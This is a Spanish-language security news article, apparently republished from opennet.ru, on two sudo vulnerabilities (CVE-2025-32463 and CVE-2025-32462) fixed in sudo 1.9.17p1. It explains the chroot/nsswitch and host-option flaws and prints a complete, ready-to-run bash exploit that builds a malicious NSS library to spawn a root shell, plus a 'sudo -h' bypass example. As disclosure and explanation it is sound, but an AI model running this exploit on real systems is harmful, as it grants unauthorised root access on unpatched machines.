Vulnerabilidades en la herramienta sudo que permiten obtener derechos de root en el sistema

Se ha detectado una vulnerabilidad (CVE-2025-32463) en el paquete sudo, utilizado para ejecutar comandos en nombre de otros usuarios, que permite a cualquier usuario no privilegiado ejecutar código con privilegios de root, incluso si el usuario no está mencionado en la configuración de sudoers. Los sistemas operativos afectados incluyen aquellos que utilizan el archivo de configuración \/etc\/nsswitch.conf, por ejemplo, se ha demostrado la explotación de la vulnerabilidad en Ubuntu 24.04 y Fedora 41.

La vulnerabilidad se manifiesta en la configuración por defecto y se ha confirmado en las versiones de sudo desde 1.9.14 hasta 1.9.17 (potencialmente afecta todas las versiones a partir de 1.8.33). El problema ha sido corregido en la actualización de sudo 1.9.17p1. Para verificar el estado de la nueva versión del paquete o la preparación de un parche en las distribuciones, se puede consultar las siguientes páginas (si la página no está disponible, significa que los desarrolladores de la distribución aún no han comenzado a abordar el problema): Debian, Ubuntu, Fedora, SUSE\/openSUSE, RHEL, Gentoo y Arch (1, 2).

El problema es causado por el hecho de que al utilizar la opción "-R" ("—chroot") para ejecutar comandos en un entorno chroot con un directorio raíz de usuario seleccionado, el archivo \/etc\/nsswitch.conf se carga en el contexto del nuevo directorio raíz en lugar del directorio del sistema. Dado que el usuario puede usar su propio directorio como directorio raíz para chroot, puede colocar en él un archivo de configuración nsswitch.conf. Controlando el archivo \/etc\/nsswitch.conf cargado por el subsistema NSS (Name Service Switch), el usuario puede agregar configuraciones que invoquen controladores adicionales. Dichos controladores son cargados por NSS en forma de bibliotecas compartidas, que también pueden colocarse en un directorio bajo el control del usuario. Al inyectar su propia biblioteca, el usuario puede lograr la ejecución de código con privilegios de root, ya que el procesamiento de NSS se realiza antes de la reducción de privilegios.

Ejemplo de exploit: #!\/bin\/bash STAGE=$(mktemp -d \/tmp\/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("\/ "); execl("\/bin\/bash", "\/bin\/bash", NULL); } EOF mkdir -p woot\/etc libnss_ echo "passwd: \/woot1337" > woot\/etc\/nsswitch.conf cp \/etc\/group woot\/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_\/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}

En la versión sudo 1.9.17p1 también se ha corregido otra vulnerabilidad (CVE-2025-32462) que permite ejecutar comandos con privilegios de root, pero que se manifiesta solo en configuraciones de sudoers donde el parámetro «host» está configurado en un valor diferente de ALL o el nombre del host actual. La vulnerabilidad es causada por un error que hacía que la opción «-h» («—host») funcionara no solo en combinación con la opción «-l» («—list») para mostrar los privilegios asociados al host, sino también al ejecutar comandos. Así, el usuario podía indicar cualquier host al invocar sudo y eludir las restricciones de las reglas de sudoers vinculadas al nombre del host.

Para realizar un ataque, el usuario debe estar mencionado en sudoers, por ejemplo, si en la configuración se indica «testuser testhost = ALL», entonces el usuario «testuser» podría especificar «sudo -h testhost» y ejecutar comandos con privilegios de root en cualquier host, y no solo en el host testhost. Las configuraciones como «testuser ALL = ALL» o aquellas sin reglas explícitas para un usuario específico no son vulnerables.

Fuente: opennet.ru

Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS 🔥 Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS | ProHoster